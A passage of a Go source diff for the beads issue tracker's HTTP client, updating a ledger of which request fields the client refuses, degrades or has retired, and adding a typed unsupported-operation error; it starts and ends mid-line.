reflect.TypeOf(issueops.CreateItem{}) + tyApplyDepAddItem = reflect.TypeOf(issueops.DepAddItem{}) + + tyCloseBatchRequest = reflect.TypeOf(issueops.CloseBatchRequest{}) + tySweepRequest = reflect.TypeOf(issueops.SweepRequest{}) ) // designRows are D9's own table, transcribed. They describe behaviors rather @@ -218,22 +227,22 @@ func designRows() []Row { // auto-load (L5), auto-import (L6), the ready view's parent-epic map (L13) — // whose observable behavior is a cmd/bd invocation's, not a store call's. // They are the subprocess parity tier's, and that tier is the one this wiring - // did not build. ga-b8ddd.12 (per-request project-id enforcement) closed the - // read-display ESCALATION — every read now carries the stamp, so a drifted - // server refuses it rather than rendering another project's rows — but the - // remaining fixture corpus that would PIN these pre-run displays is its - // follow-up, ga-b8ddd.23, which owns them. + // did not build. A since-closed per-request project-id enforcement follow-up + // closed the read-display ESCALATION — every read now carries the stamp, so a + // drifted server refuses it rather than rendering another project's rows — + // but the remaining fixture corpus that would PIN these pre-run displays is + // a separate, still-open follow-up that owns them. // // L17 (the conditional dep-remove guard) used to be the one remaining TODO row // that was NOT subprocess-owned. It carried no row of its own once its - // condition resolved: the dual run ga-b8ddd.30 wrote + // condition resolved: a dual run // (TestServedDependencyRecordsSurfaceUnresolvedRowsVerbatim) showed the wire // surfaces unresolved depends_on_id rows VERBATIM, so the guard does not // degrade and there was nothing to ledger. It is DELETED rather than retired, // because a retirement records a divergence that once existed and this one // never did. L1 is the retirement beside it — a row that WAS live and is kept // as KindRetired for exactly that reason. - const pinnedElsewhere = "TODO(ga-b8ddd.23): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it" + const pinnedElsewhere = "TODO(S3): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it" return []Row{ { // IT WAS DELETED OUTRIGHT for a while, against this file's own @@ -466,6 +475,15 @@ func designRows() []Row { // refuse, and the refusal never dials. PinnedBy: pinnedByS3Conformance, }, + { + ID: "L-cycles-tracks", Kind: KindRefuse, + Type: reflect.TypeOf(issueops.DetectCyclesRequest{}), Field: "IncludeTracks", + What: "issueops.CycleDetector.DetectCycles refuses a request with IncludeTracks set, rather than silently answering the narrower (tracks-excluded) walk", + Why: "listDependencyCycles (wire.OpListDependencyCycles) publishes no include_tracks parameter at all — there is no wire member to widen the walk onto, not merely one this client chose not to send. Honoring the request field anyway (by just not sending it, the way a dropped filter would) would answer the DEFAULT walk to a caller who explicitly asked for the wider one that also follows `tracks` edges: a narrower answer with no error, exactly the failure mode ErrUnsupported exists to make loud instead of silent (see its own doc). " + + "Upstream ask: an include_tracks query parameter on listDependencyCycles, which retires this row", + SpecRow: "D8 (refuse-not-drop), D9 L16 (the same argument, on a read)", + PinnedBy: pinnedByS3Conformance, + }, { ID: "L-batchcreate-target", Kind: KindDegrade, What: "a batch create whose edge target names no issue refuses as issueops.ErrValidation alone, not as ErrValidation WRAPPING ErrNotFound", @@ -482,7 +500,7 @@ func designRows() []Row { PinnedBy: pinnedByS3Conformance, }, // L17 (the conditional GH#5005 dep-remove guard) is DELETED, not present as a - // row: ga-b8ddd.30's dual run proved the wire surfaces unresolved + // row: a dual run proved the wire surfaces unresolved // depends_on_id rows verbatim (see pinnedElsewhere above), so the // degradation it was contingent on never materialized. The L-sequence skips // from L16 to L18 for that reason. @@ -521,12 +539,12 @@ func writeSideRows() []Row { const pinned = pinnedByS3Conformance return []Row{ { - ID: "W-UpdateRequest.Claim", Kind: KindRefuse, + ID: "W-UpdateRequest.Claim", Kind: KindRetired, Type: tyUpdateRequest, Field: "Claim", - What: "a claim combined with any other UpdateRequest member refuses; a claim ALONE does not — it dials claimIssue directly (see httpLifecycle.claimOnlyUpdate)", - Why: "a claim is claimIssue's own operation and updateIssue cannot perform one, on this wire or on any other; it is the one row here that upstream #5484 did not touch. " + - "claimIssue's own request is the actor alone, so a claim-only UpdateRequest IS that request and is served through the Claimer role instead of refusing — that is gc's exclusive claim path, `bd update --claim --json`. " + - "What still refuses is PATCH claim: a claim folded into one atomic transaction WITH a patch, a guard or a force override, which no operation on this wire publishes and which is not synthesized as two calls (claimIssue then updateIssue), since that would let a caller observe an issue claimed but not yet patched. Upstream gastownhall/beads#6890 tracks the capability that would carry both in one call", + What: "a claim combined with a patch, a guard or a force override used to refuse", + Why: "RETIRED by the #7247 review port. The refusal stood on 'updateIssue cannot perform a claim, on this wire or on any other' — and upstream gastownhall/beads#6890, the capability the row itself named, had already published `claim` on updateIssue: the claim and the patch applied by the same role in one transaction, so PATCH claim was the server's shape and only this client's refusal. " + + "The body now sends `claim` as a pointer set true only on request, so a claim alone, a claim with a patch and a claim with a version guard are each ONE updateIssue call, answered with the post-write `revision` like every other update. " + + "The claimIssue route survives as the fallback for a claim ALONE against a server that predates the member, which refuses it as an unknown parameter before any database work; a combination against such a server returns that skew refusal rather than splitting into two calls", SpecRow: updateSpec, PinnedBy: pinned, }, @@ -537,49 +555,55 @@ func writeSideRows() []Row { // http workspace — so this is user-facing prose, not an internal // engineering note, and it should read that way. // - // The engineering rationale, for a future reader of this file: the v0 - // wire's claimIssue operation (issueops.Claimer's own contract) - // answers a wisp id with ErrNotFound on every backend, including the - // direct route's own claim-by-id — the wisp plane is not claimable - // through that role at all. But claimOnlyUpdate's caller is - // `bd update --claim`, whose Lifecycle.Update DOES claim wisps - // locally (issue-or-wisp routing). Over http, that command is served - // through claimIssue rather than through updateIssue's general - // wisp-aware routing, so a wisp id would otherwise surface the wire's - // generic not-found — a live row reported as though it does not - // exist, indistinguishable from an id naming nothing at all, which a - // not-found-sensitive caller (gc's Claim among them) would read as - // missing rather than as an unclaimable wisp. This refuses by name - // instead, once the client itself recognizes the id names a wisp — - // which it learns only AFTER claimIssue itself answers not_found (see - // claimOnlyUpdate), so an ordinary claim of a real, non-wisp issue - // never pays this probe. Serving a wisp-aware claim (a server-side - // ClaimWisp capability) is tracked as a pending decision, not - // implemented here. + // The engineering rationale, for a future reader of this file: a + // current server claims a wisp through updateIssue, which resolves + // both planes exactly as the direct route's Lifecycle.Update does, so + // this row is reached ONLY on claimOnlyUpdate's fallback — a server + // that predates `claim` on updateIssue (upstream #6890), where the + // claim is dialed as claimIssue instead. That operation + // (issueops.Claimer's own contract) answers a wisp id with ErrNotFound + // on every backend — the wisp plane is not claimable through that + // role at all — so a wisp id would otherwise surface the wire's + // generic not-found: a live row reported as though it does not + // exist, which a not-found-sensitive caller (gc's Claim among them) + // would read as missing rather than as an unclaimable wisp. This + // refuses by name instead, once the client itself recognizes the id + // names a wisp — which it learns only AFTER claimIssue answers + // not_found, so an ordinary claim of a real, non-wisp issue never + // pays the probe. ID: "W-ClaimRequest.Wisp", Kind: KindRefuse, - What: "claiming a wisp is not supported over http", - Why: "the v0 wire's claim operation excludes the wisp plane on every backend; claim this issue from a local workspace instead", + What: "claiming a wisp is not supported by this bd serve", + Why: "the server predates claiming through its update operation, and its separate claim operation excludes the wisp plane; upgrade bd serve, or claim this issue from a local workspace", SpecRow: updateSpec, PinnedBy: pinnedByS3Conformance, }, { - ID: "W-UpdateRequest.ForceAssigneeTransfer", Kind: KindRefuse, Flag: "--force", + ID: "W-UpdateRequest.ForceAssigneeTransfer", Kind: KindRetired, Flag: "--force", Type: tyUpdateRequest, Field: "ForceAssigneeTransfer", - What: "bypassing the anti-steal assignee fence refuses", - Why: "the wire publishes `force_assignee_transfer` (upstream #5484) and this client does not send it. What the refusal STANDS ON changed with client wave ga-7i6by and the row is narrower for it: the `assignee` the fence guards IS now sent (W-IssuePatch.Assignee), so what is left is the bypass alone. " + - "The fence itself is unbypassable rather than absent — a transfer away from a live foreign in-progress owner refuses with already_claimed, and a matched `expected_assignee` is the OTHER bypass, which this client does send. Carrying this one is a two-member port tracked as ga-2ltro.15", + What: "bypassing the anti-steal assignee fence used to refuse", + Why: "RETIRED by the #7247 review port, the two-member port ga-2ltro.15 named. The wire publishes `force_assignee_transfer` (upstream #5484) and the refusal was always this client's: client wave ga-7i6by had already narrowed it to the bypass alone by sending the `assignee` the fence guards, and issues:batchApply's update item already carried the same flag. " + + "The body now sends it as a pointer set true only on request. The fence itself is unchanged — a transfer away from a live foreign in-progress owner refuses with already_claimed unless one of the two bypasses rides with it, this one or a matched `expected_assignee` — and the server refuses the bypass without a `patch.assignee` or beside `expected_assignee` or `claim`", SpecRow: updateSpec, PinnedBy: pinned, }, { - ID: "W-UpdateRequest.ForceClosePolicy", Kind: KindRefuse, Flag: "--force", + ID: "W-UpdateRequest.ForceClosePolicy", Kind: KindRetired, Flag: "--force", Type: tyUpdateRequest, Field: "ForceClosePolicy", - What: "bypassing close policy on a status-crossing update refuses", - Why: "the wire publishes `force_close_policy` (upstream #5484) and this client does not send it; see W-UpdateRequest.ForceAssigneeTransfer for what the refusal now stands on, since client wave ga-7i6by sends the `status` whose crossing the policy gates. " + - "The policy is therefore enforced and not bypassable here: a status crossing into the done category with open children or a live blocker refuses with not_closable, typed, and writes nothing. Tracked as ga-2ltro.15", + What: "bypassing close policy on a status-crossing update used to refuse", + Why: "RETIRED with W-UpdateRequest.ForceAssigneeTransfer, the other half of ga-2ltro.15's port. The wire publishes `force_close_policy` (upstream #5484), client wave ga-7i6by sends the `status` whose crossing the policy gates, and issues:batchApply's update item already carried the flag. " + + "The body now sends it as a pointer set true only on request; unforced, a status crossing into the done category with open children or a live blocker still refuses with not_closable, typed, and writes nothing", SpecRow: updateSpec, PinnedBy: pinned, }, + { + ID: "W-UpdateRequest.ForceNotesOverwrite", Kind: KindRetired, + Type: tyUpdateRequest, Field: "ForceNotesOverwrite", + What: "bypassing the notes-overwrite fence on a single update used to refuse", + Why: "RETIRED by the S3 reconciliation that found it (2026-10). It was discovered refused on the single-patch updateIssue path while the identical flag was already carried on issues:batchApply's update item (W table entry applyBatch/item/update) — the same trio member, wired on one shape and not the other with no decision on record for the gap. " + + "Flipping it was a port, not a decision, same as W-UpdateRequest.ExpectedVersion's: the body now sends `force_notes_overwrite` as a pointer set true only on request, so a Patch.Notes that would replace existing non-empty notes with different non-empty content is bypassable here exactly as it already was on the batch path", + SpecRow: updateSpec, + PinnedBy: pinnedByS3Conformance, + }, { ID: "W-UpdateRequest.ExpectedVersion", Kind: KindRetired, What: "the compare-and-set row-version precondition used to refuse", @@ -671,7 +695,7 @@ func writeSideRows() []Row { ID: "W-IssuePatch.Assignee", Kind: KindRetired, What: "assignment and unassignment through update used to refuse", Why: "RETIRED with W-IssuePatch.Status (ga-7i6by). The EMPTY STRING is the half that makes this member more than a rename: it UNASSIGNS, so a client that skipped an empty value would turn a real edit into no edit at all. " + - "The anti-steal fence around it is the server's and is unchanged — a transfer away from a live foreign in-progress owner still refuses with already_claimed, and the two bypasses (`force_assignee_transfer` and a matched `expected_assignee`) are W-UpdateRequest.ForceAssigneeTransfer and the guard wave's own", + "The anti-steal fence around it is the server's and is unchanged — a transfer away from a live foreign in-progress owner still refuses with already_claimed, and the two bypasses (`force_assignee_transfer` and a matched `expected_assignee`) are both sent — the first since W-UpdateRequest.ForceAssigneeTransfer retired, the second since the guard wave", SpecRow: "D8 refuse-not-drop", PinnedBy: patchMemberPin, }, @@ -725,7 +749,8 @@ func writeSideRows() []Row { What: "an item whose Issue populates any member outside the wire's eight refuses, naming the member", Why: "apigen.BatchCreateItem carries title, description, design, acceptance_criteria, priority, issue_type, assignee and labels and nothing else, while the role accepts far more of a types.Issue: an explicit id, the wisp flags, metadata, the storage class, every timestamp, the gate/molecule/event fields. " + "ONE row rather than one per member because the reason is one reason — the wire's item vocabulary — and forty rows repeating it would say nothing a reader does not learn here. Exhaustiveness is held by REFLECTION instead: the client's carried and role-ignored tables are checked against types.Issue field by field, so a member added upstream is refused the day it lands rather than dropped until someone notices. " + - "The members the role ITSELF ignores on a create (ContentHash, RowVersion, lease, compaction, routing overrides, hydration flags) are not in this population and are not refused: a local create drops them too", + "The members the role ITSELF ignores on a create (ContentHash, RowVersion, lease, compaction, routing overrides, hydration flags) are not in this population and are not refused: a local create drops them too. " + + "Nor is a CreatedBy that names the request's actor: the server stamps every item's created_by from the actor (W-CreateRequest.Issue), so that value arrives as written and only a CreatedBy naming someone else refuses", SpecRow: "D8 row 14 refuse-not-drop", PinnedBy: batchCreatePin, }, @@ -744,9 +769,10 @@ func writeSideRows() []Row { { ID: "W-CreateRequest.IDPrefix", Kind: KindRefuse, Type: tyCreateRequest, Field: "IDPrefix", - What: "overriding the prefix an explicit id is checked against refuses", + What: "overriding the prefix an explicit, unforced id is checked against refuses", Why: "createIssue publishes no `id_prefix`, and the omission is the SERVER's decision rather than a gap (internal/httpapi/create.go): the field exists because a workspace's own config.yaml prefix wins over the database's and only a local front door can read that file, so a remote caller's config.yaml describes a workspace this server does not serve. " + - "Publishing it would let a caller override the served workspace's prefix rule from outside it. Dropping it instead would check the id against the SERVER's prefix while the caller believed it was checked against theirs — the same request, two different answers to 'may this workspace mint this id'", + "Publishing it would let a caller override the served workspace's prefix rule from outside it. Dropping it instead would check the id against the SERVER's prefix while the caller believed it was checked against theirs — the same request, two different answers to 'may this workspace mint this id'. " + + "It refuses only where it would ACT: the role reads the override for nothing but an explicit id it was not told to force, so a create that mints its id, or sets ForceIDPrefix, is the same request with or without it and is sent without it. That matters because `bd create` sends the workspace's prefix on EVERY create, so an unconditional refusal would refuse every create in a workspace whose config.yaml names one", SpecRow: "D8 row 16 refuse-not-drop", PinnedBy: createPin, }, @@ -754,9 +780,10 @@ func writeSideRows() []Row { ID: "W-CreateRequest.Issue", Kind: KindRefuse, Type: tyCreateRequest, Field: "Issue", What: "a create whose Issue populates any member outside the wire's twenty refuses, naming the member", - Why: "createIssue publishes the whole create VOCABULARY — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue: the creation stamp (created_at, created_by), because a caller-supplied creation time makes the row disagree with the journal entry that records it and re-dating history is what an import is for; and spec_id, await_*, mol_type, wisp_type, work_type, storage_class, source_*, pinned, is_template and the event quartet, which this surface publishes on no operation, read or write. " + + Why: "createIssue publishes the whole create VOCABULARY — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue: the creation time (created_at), because a caller-supplied creation time makes the row disagree with the journal entry that records it and re-dating history is what an import is for; and spec_id, await_*, mol_type, wisp_type, work_type, storage_class, source_*, pinned, is_template and the event quartet, which this surface publishes on no operation, read or write. " + "ONE row rather than one per member for W-BatchCreateItem.Issue's reason — the reason is one reason — and exhaustiveness is held by the same REFLECTION over types.Issue, sharing the role-ignored table with the batch so the two operations cannot disagree about what the ROLE drops. " + - "Issue.Comments and Issue.Dependencies are not in this population: the role itself refuses them, so a local create fails too and this is validation rather than divergence", + "Issue.Comments and Issue.Dependencies are not in this population: the role itself refuses them, so a local create fails too and this is validation rather than divergence. " + + "created_by is published on no create shape either, but every one of them STAMPS it from the request's actor (internal/httpapi's create.go, batch_create.go and batch_apply.go) — the local front doors' own rule, since the role copies the member rather than stamping it. So a CreatedBy that names the actor, which is what every CLI create sends, arrives as written, and only one naming someone else refuses: the stamp would silently replace it. A server that predates the stamp stores an empty created_by for that one member", SpecRow: "D8 row 16 refuse-not-drop", PinnedBy: createPin, }, @@ -765,7 +792,7 @@ func writeSideRows() []Row { What: "a create whose dependency or waits-for target names no row refuses as issueops.ErrValidation ALONE — not as ErrValidation wrapping ErrNotFound — and does not name the target", Why: "the wire answers a dangling target with a 400 invalid_argument naming `dependencies` and a FIXED detail (internal/httpapi's failCreateIssue), which deliberately does not quote the role's own message: that message arrives as a driver error naming tables and constraints, and 4xx details on this surface reflect the caller's own input back rather than server internals. " + "The refusal still fails the whole request and creates NOTHING — the promise the row is about — and only the second sentinel and the target's name are lost. It is batchCreateIssues' L-batchcreate-notfound on the single create, and it retires the same way: an upstream code that distinguishes the absent-target refusal and carries the target. " + - "A missing --parent target already retired out of this row: failCreateIssue's errors.As(&parentNotFound) arm answers it with a distinguishing 404 not_found that names the target, and the client maps that to issueops.ErrNotFound (see TestServedCreateRefusesAnAbsentParentAsNotFound) — the row now covers only dependency and waits-for targets", + "A missing --parent target stays on this row beside dependency and waits-for targets, not ahead of them: OpCreateIssue's problem-code table documents NO 404 for ANY edge target on purpose (internal/httpapi/problem.go) — there is no id in the path for parent_id to have missed any more than dependencies[i].target_id or waits_for.spawner_id has, so carving a parent-only not_found out of this row would contradict that design rather than follow it. A prior draft of this row and its pin (TestServedCreateRefusesAnAbsentParentAsNotFound) described that carve-out as already shipped; it never was, and the S3 review that found the drift retired the draft rather than the design", SpecRow: "D8 row 16", PinnedBy: pinnedByS3Conformance, }, @@ -780,17 +807,19 @@ func writeSideRows() []Row { // The issues:batchApply population, from client wave ga-mijra. It is // SMALL, and that is the operation rather than an oversight: the create // item publishes createIssue's whole twenty, the close item maps whole, - // the edge item maps whole, and the update item's patch is WIDER than - // updateIssue's in the two places that matter to a plan (a full label - // patch, and `owner`). What is left is one patch member and two facts - // about the RESULT. + // the edge item maps whole but for the spawner flag and the thread the + // role gained after the wire was written, and the update item's patch + // is WIDER than updateIssue's in the two places that matter to a plan (a + // full label patch, and `owner`). What is left is one patch member, those + // two edge members and two facts about the RESULT. { ID: "W-CreateItem.Issue", Kind: KindRefuse, Type: tyApplyCreateItem, Field: "Issue", What: "a create ITEM whose Issue populates any member outside the wire's twenty refuses, naming the member", Why: "ApplyCreateItem publishes exactly createIssue's create vocabulary — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue, for the reasons W-CreateRequest.Issue gives in full. " + "It is a row of its OWN rather than a citation of that one because the operations are different: a caller auditing why their PLAN refuses must not be sent to a row about a single create, and the two can diverge the day either vocabulary moves. The partition itself is SHARED — one carried table, one role-ignored table, held against types.Issue by the same reflection — so they cannot disagree about what the wire carries or about what the role drops. " + - "Issue.Comments and Issue.Dependencies are not in this population and are refused as validation on both sides: edges in this role are ITEMS, so a create item has nowhere to put one at all", + "Issue.Comments and Issue.Dependencies are not in this population and are refused as validation on both sides: edges in this role are ITEMS, so a create item has nowhere to put one at all. " + + "Nor is a CreatedBy that names the request's actor: the server stamps every create item's created_by from the actor (W-CreateRequest.Issue), so that value arrives as written and only a CreatedBy naming someone else refuses", SpecRow: "D8 refuse-not-drop", PinnedBy: applyPin, }, @@ -804,6 +833,24 @@ func writeSideRows() []Row { SpecRow: "D8 refuse-not-drop", PinnedBy: applyPin, }, + { + ID: "W-DepAddItem.HasSpawner", Kind: KindRefuse, + Type: tyApplyDepAddItem, Field: "HasSpawner", + What: "a waits-for edge ITEM that names its spawner refuses", + Why: "ApplyDepAddItem publishes source, target, type and metadata and no spawner member, and the flag asks for a write only the ROLE can make: metadata's spawner_id, stamped from the resolved target once every id in the batch exists, because a target named by key has no id before then. " + + "Dropping the flag would store the edge's gate-only metadata, so an edge whose caller named a spawner would carry none. On every other edge type the role ignores the flag and stores the same row either way, so there it is dropped rather than refused. Upstream ask: a spawner member on ApplyDepAddItem, which retires this row", + SpecRow: "D8 refuse-not-drop", + PinnedBy: applyPin, + }, + { + ID: "W-DepAddItem.ThreadID", Kind: KindRefuse, + Type: tyApplyDepAddItem, Field: "ThreadID", + What: "associating an edge ITEM with a discussion thread refuses", + Why: "ApplyDepAddItem publishes no thread member, and no operation on this surface does: W-CreateDependency.ThreadID refuses the same column on both create edges. Dropping it would store the edge with no thread, so a replies-to edge would lose the conversation it was written for. " + + "It is a row of its own rather than a citation of that one for W-CreateItem.Issue's reason: the operation is different", + SpecRow: "D8 refuse-not-drop", + PinnedBy: applyPin, + }, { ID: "L-apply-snapshot", Kind: KindDegrade, What: "every ItemResult of a batch apply comes back with Issue nil, where a local backend hydrates a post-item snapshot", @@ -918,6 +965,53 @@ func writeSideRows() []Row { SpecRow: "D8 (Journal), D9", PinnedBy: pinnedByS3Conformance, }, + { + // S3 reconciliation (2026-10): bd-enterprise's + // batchCloseIssues composed an atomic claim-after-close onto the + // same request; OSS's apigen.BatchCloseRequest and + // BatchCloseResponse publish no claim_next/claimed_next member at + // all, so there is no shape for this field to narrow INTO. A batch + // close without a folded claim is unaffected and stays served + // (BatchCloseIssues.go); this row is the ONE field that refuses. + ID: "W-CloseBatchRequest.ClaimNext", Kind: KindRefuse, + Type: tyCloseBatchRequest, Field: "ClaimNext", + What: "folding an atomic claim-after-close onto a batch close refuses", + Why: "batchCloseIssues publishes actor, force, items and session only — no claim_next member exists for this client to encode a ReadyRequest into, and none exists on the response for a claimed issue to decode back out of. Dropping the field silently would answer a caller's claim-after-close with a close that quietly never claimed anything; see W-CreateBatchRequest.Provenance for the same refuse-not-drop reasoning applied to an absent wire member. Deferred: S13 schedules ReadyLister (and with it, the ready-side plumbing a composed claim would need); no slice currently schedules claim_next itself", + SpecRow: "D8 refuse-not-drop", + PinnedBy: pinnedByS3Conformance, + }, + { + // S3 reconciliation (2026-10): bd-enterprise's + // sweepIssues wire carried a structural-dependent protection + // alongside the referenced-citation one; OSS's apigen.SweepRequest + // publishes protect_referenced only. There is no + // protect_live_dependents member for this field to narrow onto, so + // sending `true` and having the client silently drop it would run + // an UNPROTECTED sweep while the caller believed the structural + // guard was active — the exact widening refuse-not-drop exists to + // stop, on the one operation this surface uses to delete rows. + ID: "W-SweepRequest.ProtectLiveDependents", Kind: KindRefuse, + Type: tySweepRequest, Field: "ProtectLiveDependents", + What: "protecting live structural dependents during a sweep refuses", + Why: "sweepIssues publishes dry_run, tier, closed_before, pattern, protect_referenced and actor only; no protect_live_dependents member exists for this client to send, and the server has no stored-edge lookup to run on this client's behalf. `bd purge` from a local workspace still gets the protection; over http it must ask without it or not at all", + SpecRow: "D8 refuse-not-drop", + PinnedBy: pinnedByS3Conformance, + }, + { + // Limit's absence is the same gap on the OTHER half of the request: + // bd-enterprise's wire bounded one sweep call and reported the + // remainder back; OSS's apigen.SweepRequest and SweepResult carry + // neither a limit member to send nor a remaining member to read one + // back from. A dropped Limit would run the UNBOUNDED sweep the + // caller asked to cap, in one transaction, which is the same + // widening the protection row above refuses rather than degrades. + ID: "W-SweepRequest.Limit", Kind: KindRefuse, + Type: tySweepRequest, Field: "Limit", + What: "bounding one sweep call and draining a backlog over several refuses", + Why: "sweepIssues publishes no limit member and SweepResult publishes no remaining member for a bounded caller to loop on; a non-zero Limit refuses before the dial rather than running the unbounded sweep silently. issueops.SweepResult.Remaining is therefore always zero from this client — not a dropped count, since nothing bounded the call that would have left one", + SpecRow: "D8 refuse-not-drop", + PinnedBy: pinnedByS3Conformance, + }, } } @@ -990,11 +1084,11 @@ func commandRows() []Row { row("F-ready-explain", "ready", "--explain", "`bd ready --explain` refuses", "it dispatches onto raw GetBlockedIssues/GetIssuesByIDs/GetDependencyCounts/DetectCycles, three of which are on the unsupported allowlist"), row("F-ready-mol", "ready", "--mol", "`bd ready --mol` refuses", - "its molecule subgraph load reaches findHierarchicalChildren, an IDPrefix SearchIssues shape the parent-walk bridge cannot express (E-IssueFilter.noShape). GetDependencyRecords and GetDependentsWithMetadata, which the same load also calls, stopped being the blocker when ga-b8ddd.30 flipped them onto the wire"), + "its molecule subgraph load reaches findHierarchicalChildren, an IDPrefix SearchIssues shape the parent-walk bridge cannot express (E-IssueFilter.noShape). GetDependencyRecords and GetDependentsWithMetadata, which the same load also calls, stopped being the blocker once they flipped onto the wire"), row("F-ready-gated", "ready", "--gated", "`bd ready --gated` refuses", "it dispatches onto a filtered SearchIssues shape the bridge cannot express, plus GetDependents"), row("F-show-thread", "show", "--thread", "`bd show --thread` refuses", - "showMessageThread renders each reply's sender, recipient, body and timestamp off GetDependentsWithMetadata, but ga-b8ddd.30 flipped that read onto getIssue's include_dependents parameter, which carries the collectDependents SHALLOW projection (id/status/type/priority/title + edge type only, be-4d36f2). Those fields come back zeroed over http and zero-timestamp replies sort ahead of the root — a silent-wrong degrade the refuse-over-degrade doctrine forbids. Retires with a full-dependent wire shape, a server-side ask"), + "showMessageThread renders each reply's sender, recipient, body and timestamp off GetDependentsWithMetadata, but that read was flipped onto getIssue's include_dependents parameter, which carries the collectDependents SHALLOW projection (id/status/type/priority/title + edge type only, be-4d36f2). Those fields come back zeroed over http and zero-timestamp replies sort ahead of the root — a silent-wrong degrade the refuse-over-degrade doctrine forbids. Retires with a full-dependent wire shape, a server-side ask"), row("F-show-refs", "show", "--refs", "`bd show --refs` refuses", "showIssueRefs's --json marshals the full GetDependentsWithMetadata rows, but the wire answers the same collectDependents shallow projection, so created_at/assignee/description come back zeroed and the JSON differs from a local workspace. The text render consumes only the shallow fields, but the flag cannot be split from its --json mode, so the whole flag refuses rather than serve a divergent JSON silently"), row("F-show-children", "show", "--children", "`bd show --children` refuses", diff --git a/internal/httpclient/encode/ledger_render.go b/internal/httpclient/encode/ledger_render.go index e1416c825..fca5d6263 100644 --- a/internal/httpclient/encode/ledger_render.go +++ b/internal/httpclient/encode/ledger_render.go @@ -190,17 +190,17 @@ hand-edit it: change the ledger in Go and regenerate. Two gates keep it honest the encoder's reflection **bijection gate** pins the ledger to the wire (a request field added upstream lands here or fails CI), and the golden test ` + "`TestDivergenceLedgerDocMatchesLedger`" + ` pins this doc to the ledger. The prose -rationale, the decision numbers (D-rows) each entry cites, and the full test-lane -map live in the architecture spec, ` + "`http-client-backend.md`" + `, which is not -included in this repository. +rationale and the decision numbers (D-rows) each entry cites trace back to the +original (bd-enterprise-internal) design's decision log, which is not included +in this repository; the full test-lane map lives alongside each row below. A handful of rows still carry a ` + "`TODO`" + ` pin: these are the read-display and pre-run residuals (wisp-in-list, the pretty ` + "`bd ready`" + ` parent-epic map, the molecule/auto-import pre-run degradations). The -client core is complete; ` + "`ga-b8ddd.12`" + ` (per-request project-id enforcement) -closed the read-display escalation, so pinning the remaining fixture corpus is -deferred work, tracked on ` + "`ga-b8ddd.23`" + ` (the read-display residual) -and ` + "`ga-b8ddd.19`" + ` (the per-id D7 taxonomy). They are refusals or degradations +client core is complete; a since-closed per-request project-id enforcement +follow-up closed the read-display escalation, so pinning the remaining +fixture corpus is deferred work (tracked as a read-display residual and a +per-id D7 taxonomy follow-up). They are refusals or degradations already in force — the ` + "`TODO`" + ` is on the test that will hold each one, not on the behavior. diff --git a/internal/httpclient/encode/table.go b/internal/httpclient/encode/table.go index 6b4fd44a9..9e6523a51 100644 --- a/internal/httpclient/encode/table.go +++ b/internal/httpclient/encode/table.go @@ -64,6 +64,12 @@ const ( // all four published — so it is built inline beside the three graph reads // that share its collection. Its refusal still has to name an operation. OpCountDependencyEdges Op = "countDependencyEdges" + + // listDependencyCycles carries no encoder table either: the request has + // exactly one member (IncludeTracks) and the wire has no parameter for it + // at all, so there is nothing to tabulate — the one refusal is built + // inline beside the role. See "L-cycles-tracks". + OpListDependencyCycles Op = "listDependencyCycles" ) // Disposition is what becomes of one request field on its way to the wire. diff --git a/internal/httpclient/errors.go b/internal/httpclient/errors.go new file mode 100644 index 000000000..a4a764acc --- /dev/null +++ b/internal/httpclient/errors.go @@ -0,0 +1,102 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/errors.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "fmt" + "sort" + + "github.com/steveyegge/beads/internal/storage" +) + +// ErrHTTPUnsupported is returned by every refused method of the http store. It +// unwraps to *storage.ErrUnsupported{Op: , Backend: "http"} so that +// errors.Is/errors.As classification and backend/conformance's +// RunUnsupportedContract hold unchanged, and it carries what the refusal +// taxonomy needs to say about the server that refused. +// +// The taxonomy (design D7) renders these fields at the standard error path +// rather than letting a Go method name escape to a user; the shape here is the +// one D8 ("The sentinel") specifies. +type ErrHTTPUnsupported struct { + // Unsup is the portable sentinel: Op is the method name, Backend is "http". + Unsup *storage.ErrUnsupported + // ServerURL is the target this store speaks to. Empty for a backstop + // refusal raised before a target was resolved (see errUnsupported). + ServerURL string + // BdVersion is the serving binary's release, from the cached + // ContextResponse; empty before the handshake has run (D6). + BdVersion string + // Capabilities are the tokens the server advertises, sorted. Nil before the + // handshake. + Capabilities []string +} + +func (e *ErrHTTPUnsupported) Error() string { + // D8 pins this shape for a refusal that knows its server. A backstop + // refusal has no URL to name, so it falls back to the portable sentinel's + // own rendering rather than printing "bd serve at " with nothing after it. + if e.ServerURL == "" { + return e.Unsup.Error() + } + return fmt.Sprintf("operation %q not supported by the http backend (bd serve at %s)", + e.Unsup.Op, e.ServerURL) +} + +func (e *ErrHTTPUnsupported) Unwrap() error { return e.Unsup } + +// errUnsupported is the constructor every generated stub in unsupported_gen.go +// calls. Those stubs hang off the generated empty value receiver and therefore +// cannot reach a store, so they are the backstop arm: Op and Backend only. +// +// Every HAND-WRITTEN refusal in this package goes through (*Store).unsupported +// instead, which fills in the server context D7 renders. That split is the +// reason the taxonomy's user-facing texts always have a URL: whole-command and +// flag-mode refusals are raised before RunE from the store, never from a +// promoted shell stub. +func errUnsupported(op string) error { + return &ErrHTTPUnsupported{Unsup: &storage.ErrUnsupported{Op: op, Backend: Backend}} +} + +// unsupported is the store-bound refusal: the same typed sentinel, enriched +// with the target and the handshake snapshot so the D7 taxonomy can name the +// server, its version and what it does advertise. +func (s *Store) unsupported(op string) error { + e := &ErrHTTPUnsupported{Unsup: &storage.ErrUnsupported{Op: op, Backend: Backend}} + if s == nil { + return e + } + e.ServerURL = s.target.String() + if snap := s.cachedSnapshot(); snap != nil { + e.BdVersion = snap.BdVersion + e.Capabilities = append([]string(nil), snap.Capabilities...) + sort.Strings(e.Capabilities) + } + return e +} + +// unsupportedCapability is unsupported's 